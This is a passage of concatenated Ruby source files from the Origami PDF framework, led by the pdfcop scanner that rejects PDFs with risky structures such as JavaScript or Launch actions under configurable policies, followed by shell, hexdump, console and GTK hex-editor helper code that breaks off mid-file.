WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' require 'yaml' require 'rexml/document' require 'digest/md5' DEFAULT_CONFIG_FILE = "#{File.dirname(__FILE__)}/config/pdfcop.conf.yml" DEFAULT_POLICY = "standard" SECURITY_POLICIES = {} def load_config_file(path) SECURITY_POLICIES.update(Hash.new(false).update YAML.load(File.read(path))) end class OptParser BANNER = < The PDF filtering engine. Scans PDF documents for malicious structures. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parse(args) options = {:colors => true} opts = OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output LOG_FILE", "Output log file (default STDOUT)") do |o| options[:output_log] = o end opts.on("-c", "--config CONFIG_FILE", "Load security policies from given configuration file") do |cf| options[:config_file] = cf end opts.on("-p", "--policy POLICY_NAME", "Specify applied policy. Predefined policies: 'none', 'standard', 'strong', 'paranoid'") do |p| options[:policy] = p end opts.on("-n", "--no-color", "Suppress colored output") do options[:colors] = false end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end opts.parse!(args) options end end @options = OptParser.parse(ARGV) if @options.has_key?(:output_log) LOGGER = File.open(@options[:output_log], "a+") else LOGGER = STDOUT end if not @options.has_key?(:policy) @options[:policy] = DEFAULT_POLICY end load_config_file(@options[:config_file] || DEFAULT_CONFIG_FILE) unless SECURITY_POLICIES.has_key?("POLICY_#{@options[:policy].upcase}") STDERR.puts "Undeclared policy `#{@options[:policy]}'" exit(1) end if ARGV.empty? STDERR.puts "Error: No filename was specified. #{$0} --help for details." exit 1 else TARGET = ARGV.shift end def log(str, color = Console::Colors::GREY) if @options[:colors] Console.colorprint("[#{Time.now}] ", Console::Colors::CYAN, LOGGER) Console.colorprint(str, color, LOGGER) else LOGGER.print("[#{Time.now}] #{str}") end LOGGER.puts end def reject(cause) log("Document rejected by policy `#{@options[:policy]}', caused by #{cause.inspect}.", Console::Colors::RED) exit(1) end def check_rights(*required_rights) current_rights = SECURITY_POLICIES["POLICY_#{@options[:policy].upcase}"] reject(required_rights) if required_rights.any?{|right| current_rights[right.to_s] == false} end def analyze_xfa_forms(xfa) case xfa when Array then xml = "" i = 0 xfa.each do |packet| if i % 2 == 1 xml << packet.solve.data end i = i + 1 end when Stream then xml = xfa.data else reject("Malformed XFA dictionary") end xfadoc = REXML::Document.new(xml) REXML::XPath.match(xfadoc, "//script").each do |script| case script.attributes["contentType"] when "application/x-formcalc" then check_rights(:allowFormCalc) else check_rights(:allowJS) end end end def analyze_annotation(annot, level = 0) check_rights(:allowAnnotations) if annot.is_a?(Dictionary) and annot.has_key?(:Subtype) case annot[:Subtype].solve.value when :FileAttachment then check_rights(:allowAttachments, :allowFileAttachmentAnnotation) when :Sound then check_rights(:allowSoundAnnotation) when :Movie then check_rights(:allowMovieAnnotation) when :Screen then check_rights(:allowScreenAnnotation) when :Widget then check_rights(:allowAcroforms) when :"3D" then check_rights(:allow3DAnnotation) # 3D annotation might pull in JavaScript for real-time driven behavior. if annot.has_key?(:"3DD") dd = annot[:"3DD"].solve u3dstream = nil case dd when Stream then u3dstream = dd when Dictionary then u3dstream = dd[:"3DD"] end if u3dstream and u3dstream.has_field?(:OnInstantiate) check_rights(:allowJS) if annot.has_key?(:"3DA") # is 3d view instantiated automatically? u3dactiv = annot[:"3DA"].solve check_rights(:allowJSAtOpening) if u3dactiv.is_a?(Dictionary) and (u3dactiv[:A] == :PO or u3dactiv[:A] == :PV) end end end when :RichMedia then check_rights(:allowRichMediaAnnotation) end end end def analyze_page(page, level = 0) section_prefix = " " * 2 * level + ">" * (level + 1) log(section_prefix + " Inspecting page...") text_prefix = " " * 2 * (level + 1) + "." * (level + 1) if page.is_a?(Dictionary) # # Checking page additional actions. # if page.has_key?(:AA) if page.AA.is_a?(Dictionary) log(text_prefix + " Page has an action dictionary.") aa = PageAdditionalActions.new(page.AA); aa.parent = page.AA.parent analyze_action(aa.O, true, level + 1) if aa.has_key?(:O) analyze_action(aa.C, false, level + 1) if aa.has_key?(:C) end end # # Looking for page annotations. # page.each_annot do |annot| analyze_annotation(annot, level + 1) end end end def analyze_action(action, triggered_at_opening, level = 0) section_prefix = " " * 2 * level + ">" * (level + 1) log(section_prefix + " Inspecting action...") text_prefix = " " * 2 * (level + 1) + "." * (level + 1) if action.is_a?(Dictionary) log(text_prefix + " Found #{action[:S]} action.") type = action[:S].is_a?(Reference) ? action[:S].solve : action[:S] case type.value when :JavaScript check_rights(:allowJS) check_rights(:allowJSAtOpening) if triggered_at_opening when :Launch check_rights(:allowLaunchAction) when :Named check_rights(:allowNamedAction) when :GoTo check_rights(:allowGoToAction) dest = action[:D].is_a?(Reference) ? action[:D].solve : action[:D] if dest.is_a?(Array) and dest.length > 0 and dest.first.is_a?(Reference) dest_page = dest.first.solve if dest_page.is_a?(Page) log(text_prefix + " Destination page found.") analyze_page(dest_page, level + 1) end end when :GoToE check_rights(:allowAttachments,:allowGoToEAction) when :GoToR check_rights(:allowGoToRAction) when :Thread check_rights(:allowGoToRAction) if action.has_key?(:F) when :URI check_rights(:allowURIAction) when :SubmitForm check_rights(:allowAcroForms,:allowSubmitFormAction) when :ImportData check_rights(:allowAcroForms,:allowImportDataAction) when :Rendition check_rights(:allowScreenAnnotation,:allowRenditionAction) when :Sound check_rights(:allowSoundAnnotation,:allowSoundAction) when :Movie check_rights(:allowMovieAnnotation,:allowMovieAction) when :RichMediaExecute check_rights(:allowRichMediaAnnotation,:allowRichMediaAction) when :GoTo3DView check_rights(:allow3DAnnotation,:allowGoTo3DAction) end if action.has_key?(:Next) log(text_prefix + "This action is chained to another action!") check_rights(:allowChainedActions) analyze_action(action.Next) end elsif action.is_a?(Array) dest = action if dest.length > 0 and dest.first.is_a?(Reference) dest_page = dest.first.solve if dest_page.is_a?(Page) log(text_prefix + " Destination page found.") check_rights(:allowGoToAction) analyze_page(dest_page, level + 1) end end end end begin log("PDFcop is running on target `#{TARGET}', policy = `#{@options[:policy]}'", Console::Colors::GREEN) log(" File size: #{File.size(TARGET)} bytes", Console::Colors::MAGENTA) log(" MD5: #{Digest::MD5.hexdigest(File.read(TARGET))}", Console::Colors::MAGENTA) @pdf = PDF.read(TARGET, :verbosity => Parser::VERBOSE_QUIET, :ignore_errors => SECURITY_POLICIES["POLICY_#{@options[:policy].upcase}"]['allowParserErrors'] ) log("> Inspecting document structure...", Console::Colors::YELLOW) if @pdf.is_encrypted? log(" . Encryption = YES") check_rights(:allowEncryption) end log("> Inspecting document catalog...", Console::Colors::YELLOW) catalog = @pdf.Catalog reject("Invalid document catalog") unless catalog.is_a?(Catalog) if catalog.has_key?(:OpenAction) log(" . OpenAction entry = YES") check_rights(:allowOpenAction) action = catalog.OpenAction analyze_action(action, true, 1) end if catalog.has_key?(:AA) if catalog.AA.is_a?(Dictionary) aa = CatalogAdditionalActions.new(catalog.AA); aa.parent = catalog; log(" . Additional actions dictionary = YES") analyze_action(aa.WC, false, 1) if aa.has_key?(:WC) analyze_action(aa.WS, false, 1) if aa.has_key?(:WS) analyze_action(aa.DS, false, 1) if aa.has_key?(:DS) analyze_action(aa.WP, false, 1) if aa.has_key?(:WP) analyze_action(aa.DP, false, 1) if aa.has_key?(:DP) end end if catalog.has_key?(:AcroForm) acroform = catalog.AcroForm if acroform.is_a?(Dictionary) log(" . AcroForm = YES") check_rights(:allowAcroForms) if acroform.has_key?(:XFA) log(" . XFA = YES") check_rights(:allowXFAForms) analyze_xfa_forms(acroform[:XFA].solve) end end end log("> Inspecting JavaScript names directory...", Console::Colors::YELLOW) unless @pdf.ls_names(Names::Root::JAVASCRIPT).empty? check_rights(:allowJS) check_rights(:allowJSAtOpening) end log("> Inspecting attachment names directory...", Console::Colors::YELLOW) unless @pdf.ls_names(Names::Root::EMBEDDEDFILES).empty? check_rights(:allowAttachments) end log("> Inspecting document pages...", Console::Colors::YELLOW) @pdf.each_page do |page| analyze_page(page, 1) end log("> Inspecting document streams...", Console::Colors::YELLOW) @pdf.indirect_objects.find_all{|obj| obj.is_a?(Stream)}.each do |stream| if stream.dictionary.has_key?(:Filter) filters = stream.Filter filters = [ filters ] if filters.is_a?(Name) if filters.is_a?(Array) filters.each do |filter| case filter.value when :ASCIIHexDecode check_rights(:allowASCIIHexFilter) when :ASCII85Decode check_rights(:allowASCII85Filter) when :LZWDecode check_rights(:allowLZWFilter) when :FlateDecode check_rights(:allowFlateDecode) when :RunLengthDecode check_rights(:allowRunLengthFilter) when :CCITTFaxDecode check_rights(:allowCCITTFaxFilter) when :JBIG2Decode check_rights(:allowJBIG2Filter) when :DCTDecode check_rights(:allowDCTFilter) when :JPXDecode check_rights(:allowJPXFilter) when :Crypt check_rights(:allowCryptFilter) end end end end end # # TODO: Detect JS at opening in XFA (check event tag) # Check image encoding in XFA ? # Only allow valid signed documents ? # Recursively scan attached files. # On-the-fly injection of prerun JS code to hook vulnerable methods (dynamic exploit detection) ??? # ... # log("Document accepted by policy `#{@options[:policy]}'.", Console::Colors::GREEN) rescue SystemExit rescue Exception => e log("An error occured during analysis : #{e.class} (#{e.message})") reject("Analysis failure") ensure LOGGER.close end origami-pdf-1.2.7/bin/shell/0000755000175000017500000000000012427006355016014 5ustar terceiroterceiroorigami-pdf-1.2.7/bin/shell/.irbrc0000644000175000017500000000517411645333134017124 0ustar terceiroterceirobegin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'console.rb' require 'readline' OPENSSL_SUPPORT = (defined?(OpenSSL).nil?) ? 'no' : 'yes' JAVASCRIPT_SUPPORT = (defined?(PDF::JavaScript::Engine).nil?) ? 'no' : 'yes' DEFAULT_BANNER = "Welcome to the PDF shell (Origami release #{Origami::VERSION}) [OpenSSL: #{OPENSSL_SUPPORT}, JavaScript: #{JAVASCRIPT_SUPPORT}]\n\n" def set_completion completionProc = proc { |input| bind = IRB.conf[:MAIN_CONTEXT].workspace.binding validClasses = Origami.constants.reject do |name| obj = Origami.const_get(name) (not obj.is_a?(Module) and not obj.is_a?(Class)) or obj <= Exception end case input # # Classes # when /^([A-Z][^:\.\(]*)$/ # classname = $1 # candidates = validClasses # return candidates.grep(/^#{classname}/) # # # Methods # when /^([^:.\(]*)\.([^:.]*)$/ # classname = $1 # method = Regexp.quote($2) # candidates = [] # if validClasses.include? $1 # begin # candidates = eval("Origami::#{classname}.methods", bind) # rescue Exception # candidates = [] # end # return candidates.grep(/^#{method}/).collect{|e| classname + "." + e} # else # begin # var = $1.dup # classname = eval("#{classname}.class", bind).to_s # if validClasses.include?(classname.split("::").last) # candidates = eval("#{classname}.public_instance_methods", bind) # end # rescue Exception => e # candidates = [] # end # return candidates.grep(/^#{method}/).collect{|e| var + "." + e} # end # # Mod/class when /^(.*)::$/ begin space = eval("Origami::#{$1}", bind) rescue Exception return [] end return space.constants.reject{|const| space.const_get(const) <= Exception} when /^(.*).$/ begin space = eval($1, bind) rescue return [] end return space.public_methods end } if Readline.respond_to?("basic_word_break_characters=") Readline.basic_word_break_characters= " \t\n\"\\'`><=;|&{(" end Readline.completion_append_character = nil Readline.completion_proc = completionProc end def set_prompt IRB.conf[:PROMPT][:PDFSH] = { :PROMPT_C => "?>> ", :RETURN => "%s\n", :PROMPT_I => ">>> ", :PROMPT_N => ">>> ", :PROMPT_S => nil } IRB.conf[:PROMPT_MODE] = :PDFSH end Console.colorprint(DEFAULT_BANNER, Console::Colors::GREEN) #set_completion set_prompt origami-pdf-1.2.7/bin/shell/hexdump.rb0000644000175000017500000000417611571243672020027 0ustar terceiroterceiro=begin = File hexdump.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2009 Guillaume Delugr All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Origami. If not, see . =end if RUBY_VERSION < '1.9' class Fixnum def ord; self; end end end class String #:nodoc: def hexdump(bytesperline = 16, upcase = true, offsets = true, delta = 0) dump = "" counter = 0 while counter < length offset = sprintf("%010X", counter + delta) linelen = (counter < length - bytesperline) ? bytesperline : (length - counter) bytes = "" linelen.times do |i| byte = self[counter + i].ord.to_s(base=16) if byte.size < 2 then byte.insert(0, "0") end bytes << byte bytes << " " unless i == bytesperline - 1 end ascii = self[counter, linelen].ascii_print if upcase offset.upcase! bytes.upcase! end if RUBY_PLATFORM =~ /win32/ dump << "#{offset if offsets} #{bytes.to_s.ljust(bytesperline * 3 - 1)} #{ascii}\n" else dump << "#{Console.colorize(offset, Console::Colors::YELLOW) if offsets} #{Console.colorize(bytes.to_s.ljust(bytesperline * 3 - 1), Console::Colors::BRIGHT_GREY)} #{ascii}\n" end counter += bytesperline end dump end def ascii_print printable = "" self.each_byte { |c| if c >= ' '[0].ord && c <= '~'[0].ord then printable << c else printable << '.' end } return printable end end origami-pdf-1.2.7/bin/shell/console.rb0000644000175000017500000001020211755740231017777 0ustar terceiroterceiro=begin = File console.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'hexdump' if RUBY_VERSION < '1.9' def Kernel.spawn(cmd) fork do exec(cmd) end end end module Origami module Object def inspect to_s end end unless RUBY_VERSION < '1.9' require 'tempfile' class Stream def edit(editor = ENV['EDITOR']) tmpfile = Tempfile.new("origami") tmpfile.write(self.data) tmpfile.close Process.wait Kernel.spawn "#{editor} #{tmpfile.path}" self.data = File.read(tmpfile.path) tmpfile.unlink true end def inspect self.data.hexdump end end class Page def edit self.Contents.edit end end end class PDF if defined?(PDF::JavaScript::Engine) class JavaScript::Engine def shell while (print 'js> '; line = gets) begin puts exec(line) rescue V8::JSError => e puts "Error: #{e.message}" end end end end end class Revision def to_s Console.colorprint("---------- Body ----------\n", Console::Colors::WHITE, true) @body.each_value { |obj| Console.colorprint("#{obj.reference.to_s.rjust(8,' ')}".ljust(10), Console::Colors::MAGENTA) Console.colorprint("#{obj.type}\n", Console::Colors::YELLOW) } #colorprint("---------- Xrefs -----------\n", Colors::BRIGHT_WHITE, true) #set_fg_color(Colors::BLUE, true) { # if not @xreftable # puts " [x] No xref table found." # else # @xreftable.to_s.each_line { |line| # puts " " + line # } # end #} Console.colorprint("---------- Trailer ---------\n", Console::Colors::WHITE, true) if not @trailer.dictionary Console.set_fg_color(Console::Colors::BLUE, true) { puts " [x] No trailer found." } else @trailer.dictionary.each_pair { |entry, value| Console.colorprint(" [*] ", Console::Colors::MAGENTA) Console.colorprint("#{entry.to_s}: ", Console::Colors::YELLOW) Console.colorprint("#{value.to_s}\n", Console::Colors::RED) } Console.colorprint(" [+] ", Console::Colors::MAGENTA) Console.colorprint("startxref: ", Console::Colors::YELLOW) Console.colorprint("#{@trailer.startxref}\n", Console::Colors::RED) end end def inspect to_s end end def to_s puts Console.colorprint("---------- Header ----------\n", Console::Colors::WHITE, true) Console.colorprint(" [+] ", Console::Colors::MAGENTA) Console.colorprint("Major version: ", Console::Colors::YELLOW) Console.colorprint("#{@header.majorversion}\n", Console::Colors::RED) Console.colorprint(" [+] ", Console::Colors::MAGENTA) Console.colorprint("Minor version: ", Console::Colors::YELLOW) Console.colorprint("#{@header.minorversion}\n", Console::Colors::RED) @revisions.each { |revision| revision.to_s } puts end def inspect to_s end end end origami-pdf-1.2.7/bin/gui/0000755000175000017500000000000012427006355015471 5ustar terceiroterceiroorigami-pdf-1.2.7/bin/gui/gtkhex.rb0000644000175000017500000010613512101464040017302 0ustar terceiroterceiro=begin = File gtkhex.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . This work has been derived from the GHex project. Thanks to them. Original implementation: Jaka Mocnik =end require 'gtk2' module Gtk class HexEditor < Fixed module View HEX = 1 ASCII = 2 end module Group BYTE = 1 WORD = 2 LONG = 4 end class Highlight attr_accessor :start, :end attr_accessor :start_line, :end_line attr_accessor :style attr_accessor :min_select attr_accessor :valid end class AutoHighlight attr_accessor :search_view attr_accessor :search_string attr_accessor :search_len attr_accessor :color attr_accessor :view_min attr_accessor :view_max attr_accessor :highlights end DEFAULT_FONT = "Monospace 12" DEFAULT_CPL = 32 DEFAULT_LINES = 16 DISPLAY_BORDER = 4 SCROLL_TIMEOUT = 100 type_register @@primary = Clipboard.get(Gdk::Selection::PRIMARY) @@clipboard = Clipboard.get(Gdk::Selection::CLIPBOARD) def initialize(data = '') super() @data = data if RUBY_VERSION >= '1.9' @data.force_encoding('binary') end @scroll_timeout = -1 @disp_buffer = "" @starting_offset = 0 @xdisp_width = @adisp_width = 200 @xdisp_gc = @adisp_gc = nil @active_view = View::HEX @group_type = Group::BYTE @lines = @vis_lines = @top_line = @cpl = 0 @cursor_pos = 0 @lower_nibble = false @cursor_shown = false @button = 0 @insert = false @selecting = false @selection = Highlight.new @selection.start = @selection.end = 0 @selection.style = nil @selection.min_select = 1 @selection.valid = false @highlights = [ @selection ] @auto_highlight = nil @disp_font_metrics = load_font DEFAULT_FONT @font_desc = Pango::FontDescription.new DEFAULT_FONT @char_width = get_max_char_width(@disp_font_metrics) @char_height = Pango.pixels(@disp_font_metrics.ascent) + Pango.pixels(@disp_font_metrics.descent) + 2 self.can_focus = true self.events = Gdk::Event::KEY_PRESS_MASK self.border_width = DISPLAY_BORDER mouse_handler = lambda do |widget, event| if event.event_type == Gdk::Event::BUTTON_RELEASE and event.button == 1 if @scroll_timeout GLib::Source.remove @scroll_timeout @scroll_timeout = nil @scroll_dir = 0 end @selecting = false Gtk.grab_remove(widget) @button = 0 elsif event.event_type == Gdk::Event::BUTTON_PRESS and event.button == 1 self.grab_focus unless self.has_focus? Gtk.grab_add(widget) @button = event.button focus_view = (widget == @xdisp) ? View::HEX : View::ASCII if @active_view == focus_view if @active_view == View::HEX hex_to_pointer(event.x, event.y) else ascii_to_pointer(event.x, event.y) end unless @selecting @selecting = true set_selection(@cursor_pos, @cursor_pos) end else hide_cursor @active_view = focus_view show_cursor end elsif event.event_type == Gdk::Event::BUTTON_PRESS and event.button == 2 # TODO else @button = 0 end end @xdisp = DrawingArea.new @xdisp.modify_font @font_desc @xlayout = @xdisp.create_pango_layout('') @xdisp.events = Gdk::Event::EXPOSURE_MASK | Gdk::Event::BUTTON_PRESS_MASK | Gdk::Event::BUTTON_RELEASE_MASK | Gdk::Event::BUTTON_MOTION_MASK | Gdk::Event::SCROLL_MASK @xdisp.signal_connect 'realize' do @xdisp_gc = Gdk::GC.new(@xdisp.window) @xdisp_gc.set_exposures(true) end @xdisp.signal_connect 'expose_event' do |xdisp, event| imin = (event.area.y / @char_height).to_i imax = ((event.area.y + event.area.height) / @char_height).to_i imax += 1 if (event.area.y + event.area.height).to_i % @char_height != 0 imax = [ imax, @vis_lines ].min render_hex_lines(imin, imax) end @xdisp.signal_connect 'scroll_event' do |xdisp, event| @scrollbar.event(event) end @xdisp.signal_connect 'button_press_event' do |xdisp, event| mouse_handler[xdisp, event] end @xdisp.signal_connect 'button_release_event' do |xdisp, event| mouse_handler[xdisp, event] end @xdisp.signal_connect 'motion_notify_event' do |xdisp, event| w, x, y, m = xdisp.window.pointer if y < 0 @scroll_dir = -1 elsif y >= xdisp.allocation.height @scroll_dir = 1 else @scroll_dir = 0 end if @scroll_dir != 0 if @scroll_timeout == nil @scroll_timeout = GLib::Timeout.add(SCROLL_TIMEOUT) { if @scroll_dir < 0 set_cursor([ 0, @cursor_pos - @cpl ].max) elsif @scroll_dir > 0 set_cursor([ @data.size - 1, @cursor_pos + @cpl ].min) end true } next end else if @scroll_timeout != nil GLib::Source.remove @scroll_timeout @scroll_timeout = nil end end next if event.window != xdisp.window hex_to_pointer(x,y) if @active_view == View::HEX and @button == 1 end put @xdisp, 0, 0 @xdisp.show @adisp = DrawingArea.new @adisp.modify_font @font_desc @alayout = @adisp.create_pango_layout('') @adisp.events = Gdk::Event::EXPOSURE_MASK | Gdk::Event::BUTTON_PRESS_MASK | Gdk::Event::BUTTON_RELEASE_MASK | Gdk::Event::BUTTON_MOTION_MASK | Gdk::Event::SCROLL_MASK @adisp.signal_connect 'realize' do @adisp_gc = Gdk::GC.new(@adisp.window) @adisp_gc.set_exposures(true) end @adisp.signal_connect 'expose_event' do |adisp, event| imin = (event.area.y / @char_height).to_i imax = ((event.area.y + event.area.height) / @char_height).to_i imax += 1 if (event.area.y + event.area.height).to_i % @char_height != 0 imax = [ imax, @vis_lines ].min render_ascii_lines(imin, imax) end @adisp.signal_connect 'scroll_event' do |adisp, event| @scrollbar.event(event) end @adisp.signal_connect 'button_press_event' do |adisp, event| mouse_handler[adisp, event] end @adisp.signal_connect 'button_release_event' do |adisp, event| mouse_handler[adisp, event] end @adisp.signal_connect 'motion_notify_event' do |adisp, event| w, x, y, m = adisp.window.pointer if y < 0 @scroll_dir = -1 elsif y >= adisp.allocation.height @scroll_dir = 1 else @scroll_dir = 0 end if @scroll_dir != 0 if @scroll_timeout == nil @scroll_timeout = GLib::Timeout.add(SCROLL_TIMEOUT) { if @scroll_dir < 0 set_cursor([ 0, @cursor_pos - @cpl ].max) elsif @scroll_dir > 0 set_cursor([ @data.size - 1, @cursor_pos + @cpl ].min) end true } next end else if @scroll_timeout != nil GLib::Source.remove @scroll_timeout @scroll_timeout = nil end end next if event.window != adisp.window ascii_to_pointer(x,y) if @active_view == View::ASCII and @button == 1 end put @adisp, 0, 0 @adisp.show @adj = Gtk::Adjustment.new(0, 0, 0, 0, 0, 0) @scrollbar = Gtk::VScrollbar.new(@adj) @adj.signal_connect 'value_changed' do |adj| unless @xdisp_gc.nil? or @adisp_gc.nil? or not @xdisp.drawable? or not @adisp.drawable? source_min = (adj.value.to_i - @top_line) * @char_height source_max = source_min + @xdisp.allocation.height dest_min = 0 dest_max = @xdisp.allocation.height rect = Gdk::Rectangle.new(0, 0, 0, 0) @top_line = adj.value.to_i if source_min < 0 rect.y = 0 rect.height = -source_min rect_height = [ rect.height, @xdisp.allocation.height ].min source_min = 0 dest_min = rect.height else rect.y = 2 * @xdisp.allocation.height - source_max rect.y = 0 if rect.y < 0 rect.height = @xdisp.allocation.height - rect.y source_max = @xdisp.allocation.height dest_max = rect.y end if source_min != source_max @xdisp.window.draw_drawable( @xdisp_gc, @xdisp.window, 0, source_min, 0, dest_min, @xdisp.allocation.width, source_max - source_min ) @adisp.window.draw_drawable( @adisp_gc, @adisp.window, 0, source_min, 0, dest_min, @adisp.allocation.width, source_max - source_min ) if @offsets if @offsets_gc.nil? @offsets_gc = Gdk::GC.new(@offsets.window) @offsets_gc.set_exposures(true) end @offsets.window.draw_drawable( @offsets_gc, @offsets.window, 0, source_min, 0, dest_min, @offsets.allocation.width, source_max - source_min ) end # TODO update_all_auto_highlights(true, true) invalidate_all_highlights rect.width = @xdisp.allocation.width @xdisp.window.invalidate(rect, false) rect.width = @adisp.allocation.width @adisp.window.invalidate(rect, false) if @offsets rect.width = @offsets.allocation.width @offsets.window.invalidate(rect, false) end end end end put @scrollbar, 0, 0 @scrollbar.show end def set_selection(s, e) e = [ e, @data.size ].min @@primary.clear if @selection.start != @selection.end os, oe = [ @selection.start, @selection.end ].sort @selection.start = [ 0, s ].max @selection.start = [ @selection.start, @data.size ].min @selection.end = [ e, @data.size ].min invalidate_highlight(@selection) ns, ne = [ @selection.start, @selection.end ].sort if ns != os and ne != oe bytes_changed([ns, os].min, [ne, oe].max) elsif ne != oe bytes_changed(*[ne, oe].sort) elsif ns != os bytes_changed(*[ns, os].sort) end if @selection.start != @selection.end if @active_view == View::HEX brk_len = 2 * @cpl + @cpl / @group_type format_xblock(s,e) (@disp_buffer.size / brk_len + 1).times do |i| @disp_buffer.insert(i * (brk_len + 1), $/) end else brk_len = @cpl format_ablock(s,e) end @@primary.set_text(@disp_buffer) end end def get_selection [ @selection.start, @selection.end ].sort end def clear_selection set_selection(0, 0) end def cursor @cursor_pos end def set_cursor(index) return if index < 0 or index > @data.size old_pos = @cursor_pos index -= 1 if @insert and index == @data.size index = [ 0, index ].max hide_cursor @cursor_pos = index return if @cpl == 0 y = index / @cpl if y >= @top_line + @vis_lines @adj.value = [ y - @vis_lines + 1, @lines - @vis_lines ].min @adj.value = [ 0, @adj.value ].max @adj.signal_emit 'value_changed' elsif y < @top_line @adj.value = y @adj.signal_emit 'value_changed' end @lower_nibble = false if index == @data.size if @selecting set_selection(@selection.start, @cursor_pos) bytes_changed(*[@cursor_pos, old_pos].sort) else# @selection.start != @selection.end s, e = [@selection.start, @selection.end].sort @selection.end = @selection.start = @cursor_pos bytes_changed(s, e) end self.signal_emit 'cursor_moved' bytes_changed(old_pos, old_pos) show_cursor end def set_cursor_xy(x, y) pos = y.to_i * @cpl + x.to_i return if y < 0 or y >= @lines or x < 0 or x >= @cpl or pos > @data.size set_cursor(pos) end def set_cursor_on_lower_nibble(bool) if @selecting bytes_changed(@cursor_pos, @cursor_pos) @lower_nibble = bool elsif @selection.start != @selection.end s, e = [ @selection.start, @selection.end ].sort @selection.start = @selection.end = 0 bytes_changed(s, e) @lower_nibble = bool else hide_cursor @lower_nibble = bool show_cursor end end def set_group_type(type) hide_cursor @group_type = type recalc_displays(self.allocation.width, self.allocation.height) self.queue_resize show_cursor end def show_offsets(bool) return unless @show_offsets ^ bool @show_offsets = bool if bool show_offsets_widget else hide_offsets_widget end end def set_font(fontname) @font_desc = Pango::FontDescription.new(fontname) @disp_font_metrics = load_font(fontname) @xdisp.modify_font(@font_desc) if @xdisp @adisp.modify_font(@font_desc) if @adisp @offsets.modify_font(@font_desc) if @offsets @char_width = get_max_char_width(@disp_font_metrics) @char_height = Pango.pixels(@disp_font_metrics.ascent) + Pango.pixels(@disp_font_metrics.descent) + 2 recalc_displays(self.allocation.width, self.allocation.height) redraw_widget end def set_data(data) prev_data_size = @data.size @data = data.dup recalc_displays(self.allocation.width, self.allocation.height) set_cursor 0 bytes_changed(0, [ prev_data_size, @data.size ].max) redraw_widget end def validate_highlight(hl) unless hl.valid hl.start_line = [ hl.start, hl.end ].min / @cpl - @top_line hl.end_line = [ hl.start, hl.end ].max / @cpl - @top_line hl.valid = true end end def invalidate_highlight(hl) hl.valid = false end def invalidate_all_highlights @highlights.each do |hl| invalidate_highlight(hl) end end private signal_new( 'data_changed', GLib::Signal::RUN_FIRST, nil, nil, String ) signal_new( 'cursor_moved', GLib::Signal::RUN_FIRST, nil, nil ) def signal_do_cursor_moved end def signal_do_data_changed(data) # TODO end def signal_do_realize super self.window.set_back_pixmap(nil, true) end def signal_do_size_allocate(alloc) hide_cursor recalc_displays(alloc.width, alloc.height) self.set_allocation(alloc.x, alloc.y, alloc.width, alloc.height) self.window.move_resize( alloc.x, alloc.y, alloc.width, alloc.height ) if self.realized? bw = self.border_width xt = widget_get_xt yt = widget_get_yt my_alloc = Gtk::Allocation.new(0, 0, 0, 0) my_alloc.x = bw + xt my_alloc.y = bw + yt my_alloc.height = [ alloc.height - 2*bw - 2*yt, 1 ].max if @show_offsets my_alloc.width = 8 * @char_width @offsets.size_allocate(my_alloc) @offsets.queue_draw my_alloc.x += 2*xt + my_alloc.width end my_alloc.width = @xdisp_width @xdisp.size_allocate(my_alloc) my_alloc.x = alloc.width - bw - @scrollbar.requisition[0] my_alloc.y = bw my_alloc.width = @scrollbar.requisition[0] my_alloc.height = [ alloc.height - 2*bw, 1 ].max @scrollbar.size_allocate(my_alloc) my_alloc.x -= @adisp_width + xt my_alloc.y = bw + yt my_alloc.width = @adisp_width my_alloc.height = [ alloc.height - 2*bw - 2*yt, 1 ].max @adisp.size_allocate(my_alloc) show_cursor end def signal_do_size_request(req) sb_width, sb_height = @scrollbar.size_request bw = self.border_width xt, yt = widget_get_xt, widget_get_yt width = 4*xt + 2*bw + sb_width + @char_width*(DEFAULT_CPL + (DEFAULT_CPL-1)/@group_type) width += 2*xt + 8*@char_width if @show_offsets height = DEFAULT_LINES * @char_height + 2*yt + 2*bw req[0] = width req[1] = height end def signal_do_expose_event(event) draw_shadow(event.area) super(event) true end def signal_do_key_press_event(event) old_cp = @cursor_pos hide_cursor @selecting = (event.state & Gdk::Window::SHIFT_MASK) != 0 ret = true case event.keyval when Gdk::Keyval::GDK_KP_Tab, Gdk::Keyval::GDK_Tab @active_view = (@active_view == View::HEX) ? View::ASCII : View::HEX when Gdk::Keyval::GDK_Up set_cursor(@cursor_pos - @cpl) when Gdk::Keyval::GDK_Down set_cursor(@cursor_pos + @cpl) when Gdk::Keyval::GDK_Page_Up set_cursor([0, 